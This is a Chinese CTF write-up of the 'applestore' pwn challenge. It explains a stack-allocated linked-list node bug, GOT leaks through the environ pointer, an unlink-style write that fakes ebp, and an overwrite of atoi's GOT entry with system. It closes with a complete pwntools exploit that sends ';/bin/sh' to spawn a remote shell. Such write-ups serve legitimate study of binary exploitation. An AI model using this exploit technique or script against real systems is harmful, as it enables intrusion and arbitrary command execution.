pwnable-applestore

最近突然之间对pwn来了兴致,继续学习一下好了


applestore[200 pts]

首先打开程序,发现是一个购买东西的界面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
=== Menu ===
1: Apple Store
2: Add into your shopping cart
3: Remove from your shopping cart
4: List your shopping cart
5: Checkout
6: Exit
> 1
=== Device List ===
1: iPhone 6 - $199
2: iPhone 6 Plus - $299
3: iPad Air 2 - $499
4: iPad Mini 3 - $399
5: iPod Touch - $199
> 2
Device Number> 1
You've put *iPhone 6* in your shopping cart.
Brilliant! That's an amazing idea.
> 3
Item Number> 1
Remove 1:iPhone 6 from your shopping cart.
> 4
Let me check your cart. ok? (y/n) > y
==== Cart ====
> 1
=== Device List ===
1: iPhone 6 - $199
2: iPhone 6 Plus - $299
3: iPad Air 2 - $499
4: iPad Mini 3 - $399
5: iPod Touch - $199
> 5
Let me check your cart. ok? (y/n) > y
==== Cart ====
Total: $0
Want to checkout? Maybe next time!
>

我们从IDA中,也能够看到类似的内容。其大致就是一个购买iPhone 的程序,然后我们看到程序逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
Phone *__cdecl insert(Phone *a1)
{
Phone *result; // eax
Phone *i; // [esp+Ch] [ebp-4h]

for ( i = &myCart; i->next; i = (Phone *)i->next )
;
i->next = (int)a1;
result = a1;
a1->before = (int)i;
return result;
}

从这里我们能够知道,这个Phone对象是一个双重指针,每一个Phone对象都会以指针的形式丢在myCard这个全局变量上。然后,这个Phone对象不出所料的是一个chunk:

1
2
3
4
5
6
7
8
9
10
11
12
13
Phone *__cdecl create(char *a1, int a2)
{
Phone *v2; // eax
Phone *v3; // ST1C_4

v2 = (Phone *)malloc(0x10u);
v3 = v2;
v2->price = a2;
asprintf((char **)v2, "%s", a1); // 会在v2处申请一个足够大的空间来存放字符串(需要用到free来释放空间)
v3->next = 0;
v3->before = 0;
return v3;
}

这里能够知道,每次分配的大小为0x10,然后price本身的内容为一个整数,接下来会在v2的位置上存放一个字符串指针,大小为能够放入a1那个字符串大小的空间。之后我们观察释放的过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
unsigned int delete()
{
signed int first; // [esp+10h] [ebp-38h]
Phone *Phones; // [esp+14h] [ebp-34h]
int No; // [esp+18h] [ebp-30h]
Phone *phone_next; // [esp+1Ch] [ebp-2Ch]
Phone *phone_before; // [esp+20h] [ebp-28h]
char nptr; // [esp+26h] [ebp-22h]
unsigned int v7; // [esp+3Ch] [ebp-Ch]

v7 = __readgsdword(0x14u);
first = 1;
Phones = (Phone *)next_Phone;
printf("Item Number> ");
fflush(stdout);
my_read(&nptr, 0x15u);
No = atoi(&nptr);
while ( Phones )
{
if ( first == No )
{
phone_next = (Phone *)Phones->next;
phone_before = (Phone *)Phones->before;
if ( phone_before )
phone_before->next = (int)phone_next;
if ( phone_next )
phone_next->before = (int)phone_before;
printf("Remove %d:%s from your shopping cart.\n", first, Phones->str);
return __readgsdword(0x14u) ^ v7;
}
++first;
Phones = (Phone *)Phones->next;
}
return __readgsdword(0x14u) ^ v7;
}

观察这个过程,大概的逻辑就是,检查输入的数字和first是否相等,相等的时候向链表后方移动一位。如果相等时候后,将这个需要删除的堆块取出(但是注意,这里并没有将堆块free掉)。
然后这个函数还提供了检查当前总共花了多少元的逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int cart()
{
signed int num; // eax
signed int v2; // [esp+18h] [ebp-30h]
int sum_price; // [esp+1Ch] [ebp-2Ch]
Phone *i; // [esp+20h] [ebp-28h]
char buf; // [esp+26h] [ebp-22h]
unsigned int v6; // [esp+3Ch] [ebp-Ch]

v6 = __readgsdword(0x14u);
v2 = 1;
sum_price = 0;
printf("Let me check your cart. ok? (y/n) > ");
fflush(stdout);
my_read(&buf, 0x15u);
if ( buf == 0x79 )
{
puts("==== Cart ====");
for ( i = (Phone *)next_Phone; i; i = (Phone *)i->next )
{
num = v2++;
printf("%d: %s - $%d\n", num, i->str, i->price);
sum_price += i->price;
}
}
return sum_price;
}

这个逻辑相当于检查我们的购物车中总共有多少钱。然后还有一段很有趣的逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned int checkout()
{
int sum_price; // [esp+10h] [ebp-28h]
Phone a1; // [esp+18h] [ebp-20h]
unsigned int v3; // [esp+2Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
sum_price = cart();
if ( sum_price == 7174 )
{
puts("*: iPhone 8 - $1");
asprintf((char **)&a1, "%s", "iPhone 8");
a1.price = 1; // 这一个步骤很奇怪。
// 1. 空间放在栈上
// 2. 这个
insert(&a1);
sum_price = 7175;
}
printf("Total: $%d\n", sum_price);
puts("Want to checkout? Maybe next time!");
return __readgsdword(0x14u) ^ v3;
}

这个地方我们会发现,如果我们此时购买的iPhone总价格达到了7174的价格的时候,我们就能够买入iPhone 8!并且有一点很有意思,这个iPhone8是**【放在栈上的】**。这个条件好像很重要。。。
首先我们知道,为了得到这个iPhone 8,我们需要6*199+20*299,也就是(1)iPhone 6 199*6和 (2) iPhone 6 Plus 299*20。
然后我们仔细想一下这个iPhone 8 的结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
00000000 Phone           struc ; (sizeof=0x10, mappedto_1)
00000000 ; XREF: checkout/r
00000000 str dd ? ; offset
00000004 price dd ? ; XREF: checkout+50/w
00000008 next dd ? ; offset
0000000C before dd ? ; offset
00000010 Phone ends

+-------------------+ ebp - 20h
| str addr |
+-------------------+
| price |
+-------------------+
| next chunk |
+-------------------+
| before chunk |
+-------------------+ ebp - 10h

如果说,我们把上面的结构体拿出来的话,那么在【进入别的函数的时候,ebp-20h~ebp-10h之间的内容将会发生变动】,这一点可以好好利用一下。我们知道,此时【insert函数只会将当前的before chunk】的值更改,但是【此时的next chunk】的值不发生变化。
也就是说,这个chunk的利用方式大致是知道了

  • 由于iPhone 8的 next 指针没有被修改,此时的next指针指向的位置就是【原先栈中的位置】
  • 由于此时的before存在栈上,那么在【下一次对栈中的值进行修改的时候,before指针也是可以发生变化的】

首先观察到,比较合适的修改函数为cart:

1
2
3
4
5
6
7
8
9
int cart()
{
signed int num; // eax
signed int v2; // [esp+18h] [ebp-30h]
int sum_price; // [esp+1Ch] [ebp-2Ch]
Phone *i; // [esp+20h] [ebp-28h]
char buf; // [esp+26h] [ebp-22h]
unsigned int v6; // [esp+3Ch] [ebp-Ch]

这个buf的内容正好涵盖了ebp-20h 到 ebp - 10h,相当于说这整个的chunk我们都能够控制。然后我们能够找到另一个可以利用的位置:

1
printf("Remove %d:%s from your shopping cart.\n", first, Phones->str);

这个地方,如果我们将str addr覆盖成任意一个got表的位置,我们就能够泄露地址了!然后我们通过修改atoi的got表的地址,从而将atoi的地址修改成sysytem,完成攻击!。

首先我们构造26个块:

1
2
3
+----------+         +----------+
| chunk1 | --> ... | chunk26 |
+----------+ +----------+

然后我们构造第27个块,放在上面:

1
2
3
4
5
6
7
8
9
10
+----------+         +----------+    
| chunk1 | --> ... | chunk26 |-->+-------------------+ ebp - 20h
+----------+ +----------+ | str addr |
+-------------------+
| price |
+-------------------+
| next chunk |
+-------------------+
| before chunk |
+-------------------+ ebp - 10h

然后我们通过delete函数,在ebp-22h处写入27,然后ebp-20h开始,写入printf的地址0804B010:

1
2
3
4
5
6
7
8
9
10
11
+--------+             ebp - 22h
| nptr |
+-------------------+ ebp - 20h
| atoi addr |
+-------------------+
| price |
+-------------------+
| next chunk |
+-------------------+
| before chunk |
+-------------------+ ebp - 10h

就能够完成泄露。然后,我们通过修改before指针,让其等于atoi.got - 0x8,那么之后在:

1
2
3
4
5
6
7
8
if ( first == No )
{
phone_next = (Phone *)Phones->next;
phone_before = (Phone *)Phones->before;
if ( phone_before )
phone_before->next = (int)phone_next;
if ( phone_next )
phone_next->before = (int)phone_before;

这个位置上,我们就能通过phone->before->next,让atoi.got的值变成phone->next的值。然后我们尝试在泄露地址之后写入值,发现不行呀!如果我们利用上述过程的话,必定有Phone->next发生写入,而如果我们此时next改成了system的地址的时候,发生写入肯定是【会发生段保护的】。。。Emmm真的难。。不过后来修改了一下逻辑,我们只需要要cart,一样也可以进行泄露。

参考了一下网上的意见,大部分给出的答案都是说,【要控制ebp】。这个想法看到学长用过,我观察一下哪里可以控制先:

1
2
3
4
5
6
7
8
9
10
11
+--------+             ebp - 22h
| nptr |
+-------------------+ ebp - 20h
| atoi addr |
+-------------------+
| price |
+-------------------+
| next chunk | <---------------- 如果这个填写atoi.got + 0x22
+-------------------+
| before chunk | <---------------- 如果这个填写old ebp - 0x100
+-------------------+ ebp - 10h

突然想通了!伪造ebp其实非常的关键:

上面是原先的栈中的内容,但是,如果我们能够把**【old ebp】**进行修改的话,那么结果就能够变成如下:

如果此时ebp被pop出来的话,此时在main函数中,我们的nptr其实上就能够指向此时的got地址!

1
2
3
4
5
6
7
8
9
10
11
unsigned int handler()
{
char nptr; // [esp+16h] [ebp-22h]
unsigned int v2; // [esp+2Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
while ( 1 )
{
printf("> ");
fflush(stdout);
my_read(&nptr, 0x15u);

这样的话,就方便很多!那么为了实现这个操作,最关键内容变成了【泄露一个栈上的地址】,而后我们可以知道,有一个叫做environ的变量,正好会存放当前栈中环境变量所在的位置,这里我们可以将其泄露出来,从而得到栈的地址。

最后的最后,还要注意,在发生了read之后才会进入atoi,所以我们输入的system_addr的地址也会就进入到system函数中。不过有了pwnable5的教训,我们知道,只需要加入一个**;**就能够截断之前的字符串,于是我们可以发送:

1
p32(system_addr)+";/bin/sh"

即可完成攻击!
附上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
# -*- coding:utf-8 -*-
from pwn import *

DEBUG = False
if DEBUG:
ph = process("./applestore")
context.log_level = "debug"
context.terminal = ['tmux','splitw','-h']
gdb.attach(ph, "break *0x080489FD")
libc = ELF("./mylibc.so.6")
else:
ph = remote("139.162.123.119",10104)
libc = ELF("./libc_32.so.6")

environ_libc = libc.symbols['environ']
atoi_libc = libc.symbols['atoi']
system_libc = libc.symbols['system']
atoi_got_addr = 0x0804B040

def insert(ph, num):
print ph.recvuntil("> ")
ph.sendline("2")
print "2"
print ph.recvuntil("Device Number> ")
ph.sendline(num)
print num

def delete(ph, num):
print ph.recvuntil("> ")
ph.sendline("3")
print ph.recvuntil("Item Number> ")
ph.sendline(num)
print num

def checkout(ph, num):
print ph.recvuntil("> ")
ph.sendline("5")
print ph.recvuntil("Let me check your cart. ok? (y/n) > ")
ph.sendline("y")
print "y"
print ph.recvuntil("Want to checkout? Maybe next time!")

def cart(ph, addr):
print ph.recvuntil("> ")
ph.sendline("4")
ph.recvuntil("Let me check your cart. ok? (y/n) > ")
ph.sendline("y\x00" + p32(addr) + p32(0)*3)
# ph.recvuntil("26: iPhone 6 Plus - $299\n")
ph.recvuntil("27: ")
return u32(ph.recvuntil("\n")[:4])

if __name__ == "__main__":
# to make us to get 7174 dollar, we should buy 6 (1) and 20 (2)
for i in range(6):
insert(ph, "1")
for i in range(20):
insert(ph, "2")

# then ,we checkout to make suer we can buy iPhone 8
checkout(ph, "3")
# then, we delete the No.27 to print out the got address
print "[+] environ is %x"%environ_libc
print "[+] system is %x"%system_libc
print "[+] atoi is %x"%atoi_libc
atoi_addr = cart(ph, atoi_got_addr)
log.success("leak atoi address is %x"%atoi_addr)
environ_bss = atoi_addr - atoi_libc + environ_libc
environ_addr = cart(ph, environ_bss)
print "[+] environ_addr is %x"%environ_bss
log.success("get environ address %x"%environ_addr)
system_addr = atoi_addr - atoi_libc + system_libc
log.success("get system address %x"%system_addr)

old_ebp = environ_addr - 0x100
target_ebp = old_ebp - 0xc
target_atoi = atoi_got_addr + 0x22

# then ,we use delete to give next and before chunk our value

print ph.recvuntil("> ")
ph.sendline("3")
print ph.recvuntil("Item Number> ")
ph.sendline("27" + p32(atoi_got_addr) + "aaaa" + p32(target_atoi) + p32(target_ebp))
print "27"

# finally, change addr to system!
print ph.recvuntil("> ")
ph.sendline(p32(system_addr)+";/bin/sh")

# get it !
ph.interactive()

总结

这次的题目,利用方法还是通过修改.got表的方式进行利用,其中比较核心的利用方法就是控制ebp,也就是控制栈的重要性。其实不单纯是劫持程序流,如果能够劫持栈的话,也不失为一种良好的利用方式。